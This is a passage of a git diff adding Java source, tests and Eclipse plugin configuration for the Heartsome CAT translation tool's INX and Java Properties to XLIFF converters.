registration.unregister(); + bundleContext.ungetService(reference); + } + + } + + /** + * The Class XmlReverseCustomize. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class XmlReverseCustomize implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + Converter xliff2Inx = new Xliff2Inx(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Inx.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Inx.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Inx.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerReverseConverter(bundleContext, xliff2Inx, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/Inx2Xliff.java b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/Inx2Xliff.java new file mode 100644 index 0000000..495619b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/Inx2Xliff.java @@ -0,0 +1,100 @@ +/** + * Inx2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.inx; + +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.inx.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; + +/** + * The Class Inx2Xliff. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Inx2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-inx"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("inx.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "INX to XLIFF Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public Inx2Xliff() { + dependantConverter = Activator.getXMLConverter(Converter.DIRECTION_POSITIVE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public Inx2Xliff(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc). + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + args.put(Converter.ATTR_IS_INDESIGN, Converter.TRUE); + args.put(Converter.ATTR_FORMAT, TYPE_VALUE); + return dependantConverter.convert(args, monitor); + } + + /** + * (non-Javadoc). + * @return the name + * @see net.heartsome.cat.converter.Converter#getName() + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc). + * @return the type + * @see net.heartsome.cat.converter.Converter#getType() + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc). + * @return the type name + * @see net.heartsome.cat.converter.Converter#getTypeName() + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/Xliff2Inx.java b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/Xliff2Inx.java new file mode 100644 index 0000000..3bc766d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/Xliff2Inx.java @@ -0,0 +1,100 @@ +/** + * Xliff2Inx.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.inx; + +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.inx.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; + +/** + * The Class Xliff2Inx. + * @author John Zhu + * @author Pablo + * @version + * @since JDK1.6 + */ +public class Xliff2Inx implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-inx"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("inx.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to INX Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public Xliff2Inx() { + dependantConverter = Activator.getXMLConverter(Converter.DIRECTION_REVERSE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public Xliff2Inx(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc). + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + args.put(Converter.ATTR_IS_INDESIGN, Converter.TRUE); + return dependantConverter.convert(args, monitor); + } + + /** + * (non-Javadoc). + * @return the name + * @see net.heartsome.cat.converter.Converter#getName() + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc). + * @return the type + * @see net.heartsome.cat.converter.Converter#getType() + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc). + * @return the type name + * @see net.heartsome.cat.converter.Converter#getTypeName() + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/Messages.java new file mode 100644 index 0000000..be01b71 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.inx.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.inx.resource.inx"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/inx.properties b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/inx.properties new file mode 100644 index 0000000..057167d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/inx.properties @@ -0,0 +1,2 @@ +########################## 2012-08-08 \u6dfb\u52a0########################################### +inx.TYPE_NAME_VALUE = Adobe InDesign \u4ea4\u6362\u6587\u6863 (INX) diff --git a/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/inx_en.properties b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/inx_en.properties new file mode 100644 index 0000000..8692212 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/inx_en.properties @@ -0,0 +1,2 @@ +########################## 2012-08-08 \u6dfb\u52a0########################################### +inx.TYPE_NAME_VALUE = Adobe InDesign Interchange file (INX) diff --git a/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/inx_zh.properties b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/inx_zh.properties new file mode 100644 index 0000000..057167d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/resource/inx_zh.properties @@ -0,0 +1,2 @@ +########################## 2012-08-08 \u6dfb\u52a0########################################### +inx.TYPE_NAME_VALUE = Adobe InDesign \u4ea4\u6362\u6587\u6863 (INX) diff --git a/hsconverter/net.heartsome.cat.converter.inx/testSrc/net/heartsome/cat/converter/inx/test/Inx2XliffTest.java b/hsconverter/net.heartsome.cat.converter.inx/testSrc/net/heartsome/cat/converter/inx/test/Inx2XliffTest.java new file mode 100644 index 0000000..4dd1b54 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/testSrc/net/heartsome/cat/converter/inx/test/Inx2XliffTest.java @@ -0,0 +1,172 @@ +package net.heartsome.cat.converter.inx.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.inx.Inx2Xliff; + +import org.junit.AfterClass; +import org.junit.Test; + +public class Inx2XliffTest { + public static Inx2Xliff converter = new Inx2Xliff(); + private static String srcFile1 = "rc/Test.inx"; + private static String sklFile1 = "rc/Test.inx.skl"; + private static String xlfFile1 = "rc/Test.inx.xlf"; + + private static String srcFile2 = "rc/Test10M.inx"; + private static String xlfFile2 = "rc/Test10M.inx.xlf"; + private static String sklFile2 = "rc/Test10M.inx.skl"; + + private static String srcFile3 = "rc/TestSC.inx"; + private static String xlfFile3 = "rc/TestSC.inx.xlf"; + private static String sklFile3 = "rc/TestSC.inx.skl"; + + public void setUp() { + File skl = new File(sklFile1); + if (skl.exists()) { + skl.delete(); + } + + File xlf = new File(xlfFile1); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklFile2); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfFile2); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklFile3); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfFile3); + if (xlf.exists()) { + xlf.delete(); + } + } + + @Test(expected = ConverterException.class) + public void testConvertMissingCatalog() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile1); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile1); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile1); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingSRX() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile1); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile1); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile1); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile1); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile1); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile1); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + + // 10M INX + args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile2); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile2); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile2); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + result = converter.convert(args, null); + xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + + // zh-CN INX + args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile3); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile3); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile3); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + result = converter.convert(args, null); + xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.inx/testSrc/net/heartsome/cat/converter/inx/test/Xliff2InxTest.java b/hsconverter/net.heartsome.cat.converter.inx/testSrc/net/heartsome/cat/converter/inx/test/Xliff2InxTest.java new file mode 100644 index 0000000..a412928 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/testSrc/net/heartsome/cat/converter/inx/test/Xliff2InxTest.java @@ -0,0 +1,100 @@ +package net.heartsome.cat.converter.inx.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.inx.Xliff2Inx; + +import org.junit.Test; + +public class Xliff2InxTest { + public static Xliff2Inx converter = new Xliff2Inx(); + private static String tgtFile1 = "rc/Test_en-US.inx"; + private static String sklFile1 = "rc/Test.inx.skl"; + private static String xlfFile1 = "rc/Test.inx.xlf"; + + private static String tgtFile2 = "rc/Test10M_en-US.inx"; + private static String xlfFile2 = "rc/Test10M.inx.xlf"; + private static String sklFile2 = "rc/Test10M.inx.skl"; + + private static String tgtFile3 = "rc/TestSC_en-US.inx"; + private static String xlfFile3 = "rc/TestSC.inx.xlf"; + private static String sklFile3 = "rc/TestSC.inx.skl"; + + public void setUp() { + File tgt = new File(tgtFile1); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtFile2); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtFile3); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test(timeout = 60000) + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile1); + args.put(Converter.ATTR_XLIFF_FILE, xlfFile1); + args.put(Converter.ATTR_SKELETON_FILE, sklFile1); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + + // 10M Inx + args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile2); + args.put(Converter.ATTR_XLIFF_FILE, xlfFile2); + args.put(Converter.ATTR_SKELETON_FILE, sklFile2); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + result = converter.convert(args, null); + target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + + // zh-CN Inx + args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile3); + args.put(Converter.ATTR_XLIFF_FILE, xlfFile3); + args.put(Converter.ATTR_SKELETON_FILE, sklFile3); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + result = converter.convert(args, null); + target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/.classpath b/hsconverter/net.heartsome.cat.converter.javaproperties/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/.project b/hsconverter/net.heartsome.cat.converter.javaproperties/.project new file mode 100644 index 0000000..9db15fa --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.javaproperties + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.javaproperties/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..4984dea --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:05:34 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.javaproperties/META-INF/MANIFEST.MF new file mode 100644 index 0000000..8b6f3a4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/META-INF/MANIFEST.MF @@ -0,0 +1,13 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter Java Properties +Bundle-SymbolicName: net.heartsome.cat.converter.javaproperties +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.javaproperties.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0" +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/build.properties b/hsconverter/net.heartsome.cat.converter.javaproperties/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/Activator.java b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/Activator.java new file mode 100644 index 0000000..d4d6824 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/Activator.java @@ -0,0 +1,99 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.javaproperties; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.javaproperties"; + + /** The plugin. The shared instance */ + private static Activator plugin; + + /** The properties2 xliff sr. */ + private ServiceRegistration properties2XliffSR; + + /** The xliff2 properties sr. */ + private ServiceRegistration xliff2PropertiesSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc). + * @param context + * the context + * @throws Exception + * the exception + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + plugin = this; + // register the converter services + Converter properties2Xliff = new Properties2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Properties2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Properties2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Properties2Xliff.TYPE_NAME_VALUE); + properties2XliffSR = ConverterRegister.registerPositiveConverter(context, properties2Xliff, properties); + + Converter xliff2Properties = new Xliff2Properties(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Properties.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Properties.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Properties.TYPE_NAME_VALUE); + xliff2PropertiesSR = ConverterRegister.registerReverseConverter(context, xliff2Properties, properties); + } + + /** + * (non-Javadoc). + * @param context + * the context + * @throws Exception + * the exception + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + if (properties2XliffSR != null) { + properties2XliffSR.unregister(); + } + if (xliff2PropertiesSR != null) { + xliff2PropertiesSR.unregister(); + } + plugin = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/Properties2Xliff.java b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/Properties2Xliff.java new file mode 100644 index 0000000..849e392 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javaproperties/src/net/heartsome/cat/converter/javaproperties/Properties2Xliff.java @@ -0,0 +1,411 @@ +/** + * Properties2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.javaproperties; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.HashMap; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.javaproperties.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; + +/** + * The Class Properties2Xliff. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Properties2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "javalistresourcebundle"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("javaproperties.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "Java Properties to XLIFF Conveter"; + + /** + * (non-Javadoc). + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Properties2XliffImpl converter = new Properties2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc). + * @return the name + * @see net.heartsome.cat.converter.Converter#getName() + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc). + * @return the type + * @see net.heartsome.cat.converter.Converter#getType() + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc). + * @return the type name + * @see net.heartsome.cat.converter.Converter#getTypeName() + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Properties2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Properties2XliffImpl { + + /** The input. */ + private InputStreamReader input; + + /** The output. */ + private FileOutputStream output; + + /** The skeleton. */ + private FileOutputStream skeleton; + + /** The buffer. */ + private BufferedReader buffer; + + /** The input file. */ + private String inputFile; + + /** The xliff file. */ + private String xliffFile; + + /** The skeleton file. */ + private String skeletonFile; + + /** The source. */ + private String source; + + /** The source language. */ + private String sourceLanguage; + + private String targetLanguage; + + /** The seg id. */ + private int segId; + + /** The segmenter. */ + private StringSegmenter segmenter; + + /** The seg by element. */ + private boolean segByElement; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + Map result = new HashMap(); + segId = 0; + + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + targetLanguage = params.get(Converter.ATTR_TARGET_LANGUAGE); + sourceLanguage = params.get(Converter.ATTR_SOURCE_LANGUAGE); + String srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + String catalogue = params.get(Converter.ATTR_CATALOGUE); + String elementSegmentation = params.get(Converter.ATTR_SEG_BY_ELEMENT); + boolean isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + String qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + if (elementSegmentation == null) { + segByElement = false; + } else { + if (elementSegmentation.equals(Converter.TRUE)) { + segByElement = true; + } 